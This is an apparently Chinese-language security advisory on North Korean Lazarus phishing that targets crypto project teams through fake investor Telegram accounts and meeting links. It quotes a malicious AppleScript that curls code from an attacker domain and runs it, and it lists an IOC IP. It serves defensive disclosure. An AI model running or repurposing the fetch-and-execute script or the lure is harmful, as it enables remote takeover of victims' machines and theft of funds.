背景
早在 2022 年，慢雾安全团队就通过慢雾 BTI 情报网络发现朝鲜黑客 Lazarus 团伙开启针对加密货币行业的大规模 Telegram 欺诈钓鱼行动，近期朝鲜黑客更是开始冒充知名投资机构，对项目方进行欺诈钓鱼，鉴于影响范围较大，慢雾在此进行分析。
一、挑选知名投资机构作为冒充对象，然后建立虚假的 Telegram 帐号：
二、寻找知名的 DeFi 项目方作为目标，以要投资他们为名，使用虚假帐号开始实施骗局：
朝鲜黑客会先对目标发起聊天以建立联系，如果项目方看到消息且安全意识不足，就会出现下图的一幕：
朝鲜黑客骗取项目方的信任后便开始约会议，此处有两种攻击手法：
1. 邀请项目方加入如 ***.group-meeting.team 之类的会议，假装询问对方是否有时间安排会面或详谈，并主动提供恶意会议链接。项目方点击链接后会看到地区访问限制，这时朝鲜黑客会接着诱使项目方下载并运行其提供的“修改定位”的恶意脚本。一旦项目方照做，那么他的电脑就会被朝鲜黑客控制，导致资金被盗取。下面是恶意脚本 IP_Request.scpt 的内容：
set fix_url to "https://support.group-meeting.online/778188/request-for-troubleshooting"
set sc to do shell script "curl -L -k""& fix_url &"\""
run script sc
代码解释：
2. 利用 Calendly 会议预定系统的“添加自定义链接”在事件页面的功能，在事件上插入恶意链接发起钓鱼攻击。由于 Calendly 与大多数项目方的日常工作背景很好地融合在一起，因此这些恶意链接不容易引起怀疑，项目方容易无意中点击恶意链接，下载并执行恶意代码，此时朝鲜黑客同样可以获取到项目方系统相关信息或权限。
慢雾安全团队在 2023 年 11 月 30 日 也对相关攻击手法做过提醒：
基础 IOC:
IP: 104.168.137.21
Domains:
恶意攻击样例：
鉴于此类诈骗行为仍在持续发生，建议 Web3 用户务必确保在添加好友时通过双重渠道确认对方的真实性，同时对 Telegram 开启双重身份验证（2FA），随时注意交易安全，以免遭受资金损失。
一旦不慎运行相关木马，请第一时间转移相关资金、断网杀毒，同时修改目标电脑上（包括浏览器里记录的）相关账号密码等信息。
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